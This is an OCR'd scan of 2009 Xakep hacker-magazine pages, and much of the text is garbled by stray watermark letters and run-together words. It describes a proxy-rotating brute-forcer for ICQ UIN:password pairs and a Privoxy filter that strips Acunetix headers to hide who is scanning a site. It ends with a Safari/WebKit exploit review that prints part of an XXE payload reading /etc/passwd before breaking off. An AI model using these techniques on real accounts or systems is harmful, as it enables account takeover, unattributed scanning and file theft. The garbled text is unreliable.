 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

>> взломw Click

 

BUY

 

 

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Ведение статистики по потокам и проксикам

Возможность добавления проксиков во время брута

Наличие генератора UIN;Password

Наличие конфига

Поддерживается брут по спискам

Настроитьсофтинкунарабочийладдовольнопросто:

1.СливаемтулзуснашегоДВД

2.Запускаемехе-шникизархива

3.Генерируемлистуин:пассспомощьювстроенногогенератора:

По диапазону — выбираем диапазон номеров, которые хотим брутить

По маскам — выбираем маску и цифры, которые нас интересуют

По списку — выбираем файл со списком уинов, отдельно добавляем пароли, затем генерируем список

4.Конфигурируемутилу— либочерезгуишныйинтерфейс, либоредактиру-

емconfig.ini:

Http=http.txt // http-прокси лист Socks4=socks4.txt // сокс4-лист Socks5=socks5.txt // сокс5-лист Source=source.txt //сурс-лист Bad=bad.txt // бэд-лист

Good=good.txt // гуд-лист с валидными парами уин:пасс Thread=1000 // потоки

5.ЖмемStart инаблюдаемзастатой.

 

№3

ЗАДАЧА: ОПРЕДЕЛИТЬЭКСКЛЮ-

 

 

 

 

• Возможность поиска пароля с учетом регистра либо без

 

ЗИВНОСТЬЗАДАННОГОПАРОЛЯ

 

такового

РЕШЕНИЕ:

 

 

• Сохранение запросов в список

 

 

• Возможность работы с собственной базой паролей, что

Нанашемдискемынеразвыкладывалиобъемныелистыспаролями

 

позволяет чекать собственные пассы по уже существующим

длябрутапословарю, причем, впоследнеевремянекоторыепредпри-

 

словарям, либо сохранять пароли для пополнения пасс-лис-

имчивыетоварищииспользуютвсвоихпасс-листахнеобычныйнабор

 

òà

слов, асписокреальноиспользуемыхпаролей, собранныхсвеба. В

 

• Наличие автоподстановки (работает с учетом регистра)

связисэтим, позвольутебяспросить: уверенлитывэксклюзивности

 

 

 

 

своихпаролей? Затрудняешьсяответить? Тогдаятебепомогу. Нет, мыне

Использоватьутилусовсемнесложно, дляэтого:

будемперерыватьГуглвпоискахтвоего(илинесовсемтвоего:)) пасса.

 

 

АпростовоспользуемсяутилойExclusivePass отNemeZz’адлячека

1.Сливаемархивснашегодиска

уникальностипаролей. Принципработыпрогизаключаетсявпоиске

2. Распаковываем, запускаемехе-шник

указанногопассавсоответствующихбазахтреххак-форумов(надеюсь,

3. Отмечаемгалочкамифорумы, вбазахкоторыххотимискатьпароль.

asechka.ru когда-нибудьвновьбудетвстрою):

Еслихотимработатьссобственнойбазой— жмемсоответствующий

 

 

 

баттонизаполняемтребуемыеполя.

 

web-hack.ru

 

4. Вбиваемпассвформочку(незабываемпрорегистр)

 

grabberz.com

 

5.Жмемпоиск

 

uiny.ru

 

6. Наблюдаемрезультатвокнеутилы

 

 

 

Кстати, прогаработаетслокальнымибазами, которыетыприжелании

Изопцийследуетвыделить:

можешьсомостоятельнодополнить:).

• В базах содержится около 3365 постов с четырех разных

 

 

 

Ищемпассы

форумов, даты постов — до 13.03.09 включительно

 

 

 

• Корректное отображение всех постов

 

 

• Возможность поиска в отдельных базах

 

 

• Полное сохранение формата отображаемого сообщения

 

 

• Наличие кликабельной ссылки на сообщении для возмож-

 

 

ности просмотра оригинала

 

 

• При отсутствии пароля выводится соответствующее опове-

 

 

щение

 

 

 

 

 

XÀÊÅÐ 07 /127/ 09

045

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

 

взлом

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

ЗАДАЧА: ВРУЧНУЮУПРАВЛЯТЬ

 

 

 

 

№4

 

 

 

 

 

 

ВКЛЮЧЕНИЕМ/ОТКЛЮЧЕНИЕМ

 

 

 

 

 

АВТОРАНАНАФЛЕШКЕ

 

 

 

РЕШЕНИЕ:

 

 

 

 

Частеньконамприходитсяюзатьсвоифлэшкинапостороннихкомпах, что

 

 

 

 

 

 

существенноувеличиваетрискподхватитьочередноготроянчикасзаражен-

 

 

 

ноймашины. Причем, многиезверькиумелоиспользуютавторанфлешкидля

 

 

 

собственноговнедрениявсистему. Конечно, можнопопростуудалитьфайл

 

 

 

autorun.inf, ноощутимогорезультатаэтонепринесет, ибосоздатьновыйфайл

 

 

 

авторанабольшинствутрояновнесоставитособоготруда. Следовательно,

 

 

 

нужноидтиподругомупути— попутиизмененияправдоступакautorun.inf.

 

 

 

Здесьестьдваварианта— делатьэтовручнуюлибоавтоматизироватьпро-

 

 

 

цесс. Мынебудемусложнятьсебежизньивоспользуемсявторымспособом, а

 

 

 

именно— утилойAnti AutoRUN отSlesh’а. Особенностипрогивследующем:

 

 

 

 

 

 

 

 

 

 

• Поддерживает только флешки с FAT32

 

 

 

 

• Определение файловой системы флешки

 

 

 

 

• Автоматически создает файл авторана autorun.inf

 

 

 

 

• Включает/отключает авторан

 

 

 

 

• Работает по принципу замены последнего байта в строке

 

 

 

 

«AUTORUN INF» на 0х40 (атрибут внутреннего использова-

 

 

 

 

íèÿ)

 

 

 

 

 

 

 

 

 

 

Алгоритмработыутилыдовольнопрост:

 

 

 

 

 

 

 

 

 

 

1. Указываембуквудискафлешки, накоторойнамнеобходимоотрубить

 

СорецутилыAnti AutoRUN

 

 

 

авторан.

 

 

 

 

2.Тулзаопределяеттипфайловойсистемыназаданномдиске(еслиФС— не

 

 

 

FAT32, завершаетработу).

 

 

5.Приобнаружениифайлаавторанаестьдвавариантасобытий: включить

3.Создаетсяфайлавторанаautorun.inf.

 

автораниотключитьавторан.

4.Далееутилаоткрываетдискначтение/записьиначинаетискатьтекст

 

Сорецутилыты, каквсегда, найдешьнанашемДВД, дерзай:).

«AUTORUN INF».

 

 

 

 

№5 ЗАДАЧА: ИЗБАВИТЬСЯОТЗАГО-

ЛОВКОВ, ДОБАВЛЯЕМЫХACUNETIX

ПРИСКАНИРОВАНИИWEB-УЗЛА

РЕШЕНИЕ:

Передтем, какпользоватьсясканерамибезопасности, советуюпроверить, какуюинфуонипосылаютнасканируемыйресурс. Незнаю, как остальные, авотAcunetix выдаетхакераспотрохами, добавляясобствен- ныеHTTP-заголовкивкаждыйотправляемыйзапрос. Ониуказываютна то, чтозапроссгенерированAcunetix ичтонужнобычтитьсоглашения инесканироватьпосторонниересурсы. Нуразвенепрелесть? Еслиуж тырешилсякого-нибудьпросканить, надоотэтогогрузаизбавляться. ИнтерфейсAcunetix предоставляетвозможностьредактированияидаже удалениязаголовков(вокнеToolsExplorer ÆHTTP Editor). Однакоэти настройкидействуюттолькоприручнойотсылкезапросовиигнорируютсяприсканированиивавтоматическомрежиме. Чтож, вооружимся фильтрующимпроксиивырежемихсами.

1.ЗабираемPrivoxy поадресуhttp://sourceforge.net/project/downloading. php?group_id=11118&filename=privoxy_3.0.12.zip&a=84641926.

2.Распаковываемипереходимкредактированиюконфигурационных файлов.

3.Активируемфайлспользовательскимифильтрами.

config.txt

filterfile user.filter

4.ДобавляемновыйфильтрдляAcunetix.

user.filter

CLIENT-HEADER-FILTER: acunetix-control Removes Acunetix headers.

s/^Acunetix-Product:\s*.*//i s/^Acunetix-Scanning-agreement:\s*.*//i s/^Acunetix-User-agreement:\s*.*//i s/^Acunetix-Aspect:\s*.*//i s/^Acunetix-aspect-password:\s*.*//i s/^Acunetix-aspect-queries:\s*.*//i

5.Активируемсозданныйфильтр.

user.action

{+client-header-filter{acunetix-control}}

/

6.ЗапускаемPrivoxy.

7.УказываемAcunetix нанеобходимостьработычерезPrivoxy. Навкладке

Settings, выбериLAN Settings и

Палимсяпополной:) установинастройкиHTTP-прокси: Hostname — localhost, Port — 8118.

Дляпроверкиприменидирективу debug=64 восновномконфигура-

ционномфайлеconfig.txt Privoxy

илизапустилюбойснифферпакетов. Учти, чтовстречаютсяидругие заголовки, даипропалитьсяможно совсемподругомуповоду, такчто будьначеку, хакер!

046

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

№6 ЗАДАЧА: СОЗДАТЬПОРТАТИВНУЮ

ВЕРСИЮ.NET-ПРИЛОЖЕНИЯС ИСПОЛЬЗОВАНИЕМTHINAPP

РЕШЕНИЕ:

Мнеприходитсяпользоватьсяразличными.NET-сборками,втомчислеисовсем безобидными.Даисамя,разрабатываядесктопныеприложения,зачастуюпрограммируюнаC#.Какудобнозакинутьвсеэтодобронафлехуипользоватьсявезде,гдетолько можно!Проблемавтом,чтофреймворкпоумолчаниювWinXPневключаетсяивелика вероятность,чтозапускпрогибудетсвязанснеобходимостьюустановкисамойсреды. Темнеменее,создатьпортативноеприложениеможно,например,сиспользованием виртуальногоконтейнераThinAPP.

1.Скачиваем.NETFramework3.5поадресуhttp://download.microsoft.com/ download/2/0/e/20e90413-712f-438c-988e-fdaa79a8ac3d/dotnetfx35.exe

тебесоветуюскачатьвесьпакет—ещепригодится:)

2.Скачиваемлюбуюсредувиртуализации,напримерVMWareWorkstation.

3.Устанавливаемвиртуальнуюось.НужнамаксимальночистаяWindowsXP(всякие

ZverDVDнерулят)!

4.ОТКАЗЫВАЕМСЯотустановкиVMWareTools.Поверьмне,такнадо,хотявофициальнойдокументациипроэтоничегонет.

5.Каким-тообразомполучаемиинсталлируемThinAPP—тулзастоитот6000вечнозе- леныхрублей,такчторазбирайсясам:)

6.ДелаемснапшотсистемыподназваниемThinAPPReady.

7.ЗапускаемThinAPPSetupCapture,следуеминструкцияммастера.

8.Устанавливаем.NETframework.

9.НастраиваемопциисборкиконтейнераThinAPP.Обязательновключивсоставточек входаcmd.exe.ВкачествеSandboxLocationвыбирайUSBFlash.

10.Собираемконтейнер.Сохраняемеговукромномместе.Иябыпосоветовалещераз снятьснапшот.

11.ЗапускаемThinAPPSetupCaptureиустанавливаем/копируемнужноенамприложение.Есликопируешь,лучшеэтоделатьвпапку%programfiles%,онабудетвиднаиз контейнерапопеременнойокруженияи,соответственно,черезконсольтыполучишь

доступкфайламвобходинтерфейсаприложения.

12.Настраиваемпараметрысборкиконтейнераи,незапускаяbuild,нажимаемна кнопкуBrowseProject.

13.Выбираемдляредактированияфайлpackage.ini.Устанавливаемвнемпараметр

RequiredAppLinks=..\dotnetfx35\dotnetfx35,где..\dotnetfx35—путьдоконтейнера,содер-

жащего.NET,аdotnetfx35—собственно,имясамогофайлаконтейнера.

14.Строимконтейнер.

15.Передзапускомприложенияудостоверься,чтоконтейнерс.NET-средойдоступен поуказанномувнастройкахпути. Еслитебенеохотазасовыватьсамоприложениевотдельныйконтейнер,можноэтогои неделать.Надеюсь,тывключилвкачестветочкивходавконтейнер.NETcmd.exe(если нет—курипункт9).Запустиcmd.exeизпапкисконтейнеромиужеизконсоливызови

.NET-приложение.Могутебяуверить—средуоноувидитизапуститсянормально!

Добавляемссылкунаконтейнер.NET.bmp

№7 ЗАДАЧА: СОЗДАТЬПОРТАТИВНУЮ

ВЕРСИЮ.NET-ПРИЛОЖЕНИЯСИС- ПОЛЬЗОВАНИЕМXENOCODE

РЕШЕНИЕ:

Конечно, можносделатьвсеспомощьюThinApp: создатьконтейнерсо средой.NET инатравитьнанегокаким-либообразомтулзунадотнете. Но... контейнерэто150 метров. Ачто, еслитулзаприэтомвеситкаких-ни- будьпарумегабайт? Что, тащитьзанейвеськонтейнерсосредой? Конечно, нет! Иесливмварезнесправляетсясзадачей, тонапомощьприходит Xenocode Postbuild! Онпроанализируеткод(точнее, секциюusing) исам определит, какиедлл’киизсреды.NET нужнокластьвконтейнерствоей тулзой. Вдобавоконумеетобфусцироватькоднесколькимиметодами (естьдажеспециальнопротивILDASM). Ивсеэтоуправляетсяизинтерфейсаribbon (а-ляoffice 2007). Моятулзавесом2 метрапревратиласьв экзешник25 мегабайт(яиспользуюXenocode Postbuild v7.0.162).

1.Идемнавкладкуapplication, добавляемвсписоксвоютулзу.

2.Идемнавкладкуoutput, ставимгалкуcompile application to native x86 executable image.

3.Выбираемsingle application executable ивкомбобоксевыбираемэкзешник, ккоторомуxenocode добавитсреду.NET. ТутжеестьгалкаGenerate diagnostic-mode executable. Есливпоследствиитулзабудетсыпатьсяс ошибками, можнопопробоватьскомпилитьсэтойгалкой. Тогдавпапкус приложениембудетпадатьлогсподробнымописаниемтого, чтопроисходит.

4.ИдемнавкладкуVirtualize. ВRuntimes можновыбратьверсиюсреды, добавляемуювэкзешник. Имейввиду, чтосредуxenocode подгружаетиз интернетасосвоегосайта, дажееслионаужеустановленавсистеме.

5.ВFilesystem можнодобавитьвсе, чтодолжнобытьввиртуальной файловойсистемеприложения. Например, моятулзанеможетжитьбез

длл’лекпакетаDevExpress, которыйразрабатываетсторонняяконтора икоторыеневходятвсоставсреды.NET. ПоэтомувпапкуApplication Directory ядобавилдлл’киизэтогопакета.

Еслинетребуетсяобфускация(этотемадляотдельногоразговора), тона этомвсе. МожножатьXenocode Application, ичерезнесколькодесятков секундвтвоемраспоряжении— портативнаяверсияприложения, не требующаясреды.NET!

Теперьонеприятном, тоестьоминусах. Ксожалению, точкавходаможет бытьтолькоодна. Еслитвоеприложениесостоитизнесколькихисполняемыхфайлов, торешенийтутможетбытьтри.

Ксенокодитькаждыйexe поочереди. Тогдаккаждомуисполняемому файлубудетдобавлятьсясреда.NET.

Сделатьточкойвходаcmd.exe. Тудадобавитсячастьсреды.NET, необходимаядляработытвоихприложений(незабудьтолькоихтожедобавить всписокнашаге1). Нотогдакаждыйразпридетсяоткрыватьзаксенокоденнуюcmd.exe иужеоттудазапускатьприложения, чтобыониувидели среду.NET.

Использовать thinapp. Если у тебя много дотнетовского кода, который нужно сделать портативным, сделай один контейнер со средой

.NET, который будут использовать все приложения.

 

 

Что использовать в каждом

 

 

конкретном случае, решать,

 

 

конечно же, тебе. Но я бы

 

 

советовал: если есть пара

 

 

приложений, которые неплохо

 

 

бы сделать портативными,

 

 

используй ксенокод. Если же

 

 

тебе нужна вся среда .NET

 

 

на флешке, — ThinApp тебе в

Собираемсборкувunmanaged коде

 

помощь. z

XÀÊÅÐ 07 /127/ 09

047

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

w Click

 

BUY

>>m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

взлом

обзор

обзор

эксплоитов

эксплоитов

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

зор

сплоитов

зор

сплоитов

 

обзор

 

эксплоитов

 

обзор

 

эксплоитов

ДМИТРИЙ «FORB» ДОКУЧАЕВ

обзор

эксплоитов

/ FORB@GAMELAND.RU /

 

OBZOR ЕKSPLOITOV

Лето. Пораотпусков. Наверняка, тыподумал, чтовэтожаркоевремя достойныхбагов, ровнокакиэксплойтов, сталоменьше? Чертасдва! Упорныебагоискателивместотого, чтобыоттягиватьсявшумнойкомпании, потрошатякобысовершенныйсофтвпоискахсмертельныхбрешей, акакследствие— иэксплойтов. И, какнистранно, находят!

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

01МНОЖЕСТВЕННЫЕУЯЗВИМОСТИ ВSAFARI 3.X

>> Brief

ДавненькомынекидаликамнивогородMacintosh’а! Боюсьдумать, чтовсепредставляютMacOS какабсолютнозащищеннуюсистему(по крайнеймере, такзаявляютпиарщики). Ачтоонискажутнато, что совсемнедавноглавныйбраузеротMacintosh подзвучнымназванием «Safari» былпростообстрелянсостороныбагокопателей? Внемнашли, какминимум, 3 классаразличныхуязвимостей, которыемысейчасже рассмотримподробнее.

Справедливостирадиясразувнесуважнуюремарку: всенайденные багинапрямуюнеотносятсяк«Safari» — онитаятсявразличныхбиблиотекахисредствахразработки, используемыхбраузером: «FreeType», «LibPng», «Apple’s Webkit». Соднойстороны, этоснимаетответствен- ностьсразработчиковMacOS-браузера, сдругой— «глобализует» баг, позволяяемумигрироватьвдругиеприложения.

Теперьпосуществу: однойизпервыхуязвимостей, обнаруженнойеще вконцеапреля, являетсявыполнениепроизвольногокодавудаленной системе. Сословнезависимыхэкспертов, достаточноподблаговиднымпредлогомпередатьжертвеядовитыйлинк, вкоторомбудет присутствоватьссылканамодифицированныйшрифт. Скушавкрасную пилюлю, системавпадетвступоривыполнитпроизвольныйкод, либо уронитMacOS (всмысле, несостола, конечно:), простоустроитлокаль-

ныйDoS).

Недостаточныепроверкипараметров, приводящиекпереполнению буфера, присутствуютвбиблиотеке«FreeType», аименно, вштатных функцияхобработкишрифтов«cff_charset_compute_cids()» и«ft_ smooth_render_generic()». Намжеостаетсяповеритьбагоискателямна слово, ибоэксплойтпокаещекрутитсявприватныххакерскихкругах(по слухам, вполнедостойнофункционирует).

Второйбаг, обнаруженныйчутьпозже, хранитсявфункцияхобработки PNG-изображенийбиблиотеки«libpng». Уязвимостьсуществуетиз-за того, чтобиблиотеканекорректноинициализируетопределенныемассивыуказателейпередосвобождениемэлементовмассивоввслучае, когдаприложениепотребляетвсюдоступнуюпамять. Злоумышленник

можетзаслатьссылкунаспециальныйPNG, которыйпозаботитсяоповреждениипамятиивыполнитпроизвольныйкоднаудаленнойсистеме. Но, опять-таки, этовсеслова— эксплойтувременноприсвоенстатус

«0day».

И, наконец, третья уязвимость затесалась в продукт «Apple’s Webkit», посредством которого написано множество яблочных продуктов. Баг присутствует в функциях обработки XML и относится к классу уязвимостей XXE (XML eXternal Enttity — Внешний объект XML). Разработчики случайно (или намерено) допустили возможность включения произвольного локального файла в просматриваемый XML-документ. Последствия от бреши могут быть самыми разными: от банального DoS’а системы (когда пользователь обратится к какому-нибудь «/dev/urandom» или аналогичному Win-приложению), до создания специальной клиент-серверной системы (когда содержание файла неминуемо попадет на компьютер злоумышленника). Не исключен вариант, когда «Safari» запущен под привилегированным пользователем (в этом случае атака будет носить локальный характер с целью повышения прав).

>> Targets

УязвимывсеверсииSafari до4.х, включаяiPhone, гдеустановленсей зверек. Крометого, из-заглобальностибага, онможетприсутствоватьво всехпродуктах, основанныхна«Apple’s WebKit». Онинеособопопулярны, носписоктывсегдаможешьнайтинаwebkit.org.

>> Exploit

Нижепривожукодэксплойтадляреализациибагав«Apple’s Webkit» в

родном«Safari».

<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/ passwd"> ] >

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/">

<html>

<body>

048

XÀÊÅÐ 07 /127/ 09

 

 

 

 

 

 

Соседние файлы в папке журнал хакер